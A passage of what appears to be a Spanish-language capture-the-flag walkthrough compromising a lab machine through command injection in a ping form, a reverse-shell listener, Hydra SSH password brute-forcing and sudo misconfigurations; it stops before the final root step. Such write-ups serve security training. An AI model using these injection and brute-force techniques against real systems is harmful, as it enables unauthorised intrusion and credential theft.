Vemos varios archivos interesantes, si leemos el /info.txt veremos lo siguiente.
URL = http://<IP>/info.txt
#Contenido
Look, I told Eliot to remove those words from the README.txt because it could be a big security flaw in our HTML folder.
Nos da una pista de que en los comandos que se van pasando cuando tu le das al boton de Ejecutar Comando en la pagina principal, aparece uno llamado README.txt que contiene palabras de las cuales 1 sirve como directorio para la URL, por lo que cogeremos esa lista de palabras y le tiraremos un gobuster.
Vemos que hay coincidencia con una y si lo metemos en la URL de la siguiente forma.
URL = http://<IP>/d05notfound/
Veremos un archivo llamado d05notfound.php por lo que nos meteremos en el y veremos otra pagina en la que hay mucha informacion, pero si bajamos a bajo del todo, veremos algo interesante, donde pone Introduzca la dirección IP, si ponemos hay nuestra IP o la que sea va a realizar un ping, pero no se va a ver en la pagina tendremos que darle a inspeccionar codigo y veremos los resultados del ping.
PING 192.168.5.145 (192.168.5.145) 56(84) bytes of data.
64 bytes from 192.168.5.145: icmp_seq=1 ttl=64 time=0.057 ms
64 bytes from 192.168.5.145: icmp_seq=2 ttl=64 time=0.050 ms
64 bytes from 192.168.5.145: icmp_seq=3 ttl=64 time=0.042 ms
64 bytes from 192.168.5.145: icmp_seq=4 ttl=64 time=0.044 ms
--- 192.168.5.145 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3078ms
rtt min/avg/max/mdev = 0.042/0.048/0.057/0.005 ms
Pero mas abajo poner resultados de comando: por lo que da pie a que puedes concatenar comandos, probaremos a introducir el siguiente comando.
<IP>|ls-la
Lo ejecutamos y visualizamos de nuevo el codigo.
PING 192.168.5.145 (192.168.5.145) 56(84) bytes of data.
64 bytes from 192.168.5.145: icmp_seq=1 ttl=64 time=0.060 ms
64 bytes from 192.168.5.145: icmp_seq=2 ttl=64 time=0.247 ms
64 bytes from 192.168.5.145: icmp_seq=3 ttl=64 time=0.051 ms
64 bytes from 192.168.5.145: icmp_seq=4 ttl=64 time=0.050 ms
--- 192.168.5.145 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3048ms
rtt min/avg/max/mdev = 0.050/0.102/0.247/0.083 ms
</pre><h2>Resultado del Comando:</h2><pre>total 20
drwxr-xr-x 2 root root 4096 Aug 13 14:42 .
drwxr-xr-x 3 root root 4096 Aug 13 14:52 ..
-rw-r--r-- 1 root root 8300 Aug 13 14:40 d05notfound.php
Por lo que vemos funciona, ahora intentaremos hacernos una Reverse Shell hacia la maquina con esta vulnerabildiad de la siguiente forma.
Reverse Shell
Pero antes estaremos a la escucha para capturar la peticion.
nc-lvnp<PORT>
Y ahora enviaremos el siguiente comando adaptandolo a nuestras necesidades.
Una vez enviado el comando, si nos vamos a donde teniamos la escucha veremos que nos ha creado una shell y si hacemos whoami veremos que somos www-data.
connect to [192.168.5.145] from (UNKNOWN) [172.19.0.2] 46450
whoami
www-data
Por lo que sanitizaremos la shell.
Sanitizar la shell
script/dev/null-cbash
# <Ctrl> + <z>sttyraw-echo; fgresetxtermexport TERM=xtermexport SHELL=/bin/bash# Para ver las dimensiones de nuestra consola en el Hoststtysize# Para redimensionar la consola ajustando los parametros adecuadossttyrows<ROWS>columns<COLUMNS>
Escalate user e1i0t
Nos iremos a la carpeta del usuario e1i0t y veremos un archivo llamado nota.txt, si la leemos veremos lo siguiente.
Reminder:
Delete my passwords from the agenda, I don't want to screw up with the boss again.
By e1i0t
Nos da una pista de que tiene una agenda con las contarseñas y seguramente una de ellas sea la del usuario e1i0t, si nos vamos a la carpeta documents/ veremos 2 archivos y el que nos interesa es el llamado agenda.txt, por lo que lo utilizaremos como diccionario de palabras para saber la contarseña de e1i0t.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-13 11:05:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 107 login tries (l:1/p:107), ~2 tries per task
[DATA] attacking ssh://172.19.0.2:22/
[22][ssh] host: 172.19.0.2 login: e1i0t password: eliotelmejor
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-13 11:05:51
Por lo que vemos nos saca las credenciales del usuario, asi que nos conectaremos por SSH mejor con dicho usuario.
SSH
sshe1i0t@<IP>
Metemos la contraseña eliotelmejor y ya estariamos dentro.
Leemos la flag del usuario.
user.txt
d8109448593f23776d57bd512f322eff
Escalate user an0n1mat0
Si hacemos sudo -l veremos lo siguiente.
Matching Defaults entries for e1i0t on 63ccda3ff003:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User e1i0t may run the following commands on 63ccda3ff003:
(an0n1mat0 : an0n1mat0) NOPASSWD: /bin/find
Por lo que podemos ejecutar como el usuario an0n1mat0 el binario find, con este binario hay una vulnerabilidad de permisos, si hacemos lo siguiente seremos el usuario an0n1mat0.
Ejecutaremos /bin/bash para obtener una shell mejor y leeremos la flag de este usuario.
user2.txt
11ab9a33cbd06b3325de00c7e32c0db8
Escalate Privileges
Si hacemos sudo -l veremos que nos pedira contraseña, cosa que no tenemos, pero si investigamos mas, en la home del usuario an0n1mat0 veremos que hay un archivo llamado nota.txt que contiene lo siguiente.
The boss told me that he will soon remove your privileges to be able to access your secret folder.
Nos da una pista de que hay una carpeta secreta por alguna parte del sistema, por lo que la buscaremos.
find/-name'secret'2>/dev/null
Info:
/secret
Vemos que en la propia raiz hay una carpeta llamada asi, si vamos dentro de ella veremos un archivo llamado confidencial.txt que contiene lo siguiente.
There is a super secret file that no one but the boss should read, because there are some user passwords.
You have to move the passwords_users.txt file to a more secure place.
Nos da otra pista de que en alguna parte hay un archivo llamado passwords_users.txt por lo que lo buscaremos.
find/-name'passwords_users.txt'2>/dev/null
Info:
/usr/local/bin/passwords_users.txt
Y veremos que esta en esa ubicacion, si leemos el archivo pone lo siguiente.
User passwords:
e1i0t:eliotelmejor
an0n1mat0:XXyanonymous
root:root
There are some outdated passwords, but I don't remember an0n1mat0's entire password, I know that where the two
Nos comenta que la contraseña de este usuario esta a medias, por lo que tendremos que generar un diccionario sustituyendo esas dos X's por letras del abecedario minusculas, lo haremos con la siguiente herramienta.
mp64
mp64'?l?lyanonymous'>passwords.txt
Con esto habremos generado un diccionario de palabras con todas las posibles combinaciones de ese nombre sustituyendo ?l?l por letras del abecedario en minusculas.
hydra
hydra-lan0n1mat0-Ppasswords.txtssh://<IP>-t64
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-13 11:21:07
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 676 login tries (l:1/p:676), ~11 tries per task
[DATA] attacking ssh://172.19.0.2:22/
[STATUS] 419.00 tries/min, 419 tries in 00:01h, 290 to do in 00:01h, 31 active
[22][ssh] host: 172.19.0.2 login: an0n1mat0 password: soyanonymous
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 15 final worker threads did not complete until end.
[ERROR] 15 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-13 11:22:48
Por lo que vemos nos saca las credenciales, por lo que volveremos a la terminal y ahora si haremos sudo -l, meteremos la contraseña obtenida por hydra y veremos lo siguiente.
Matching Defaults entries for an0n1mat0 on 63ccda3ff003:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User an0n1mat0 may run the following commands on 63ccda3ff003:
(ALL : ALL) /bin/php
Por lo que podremos ejecutar el binario de php como root, haremos lo siguiente.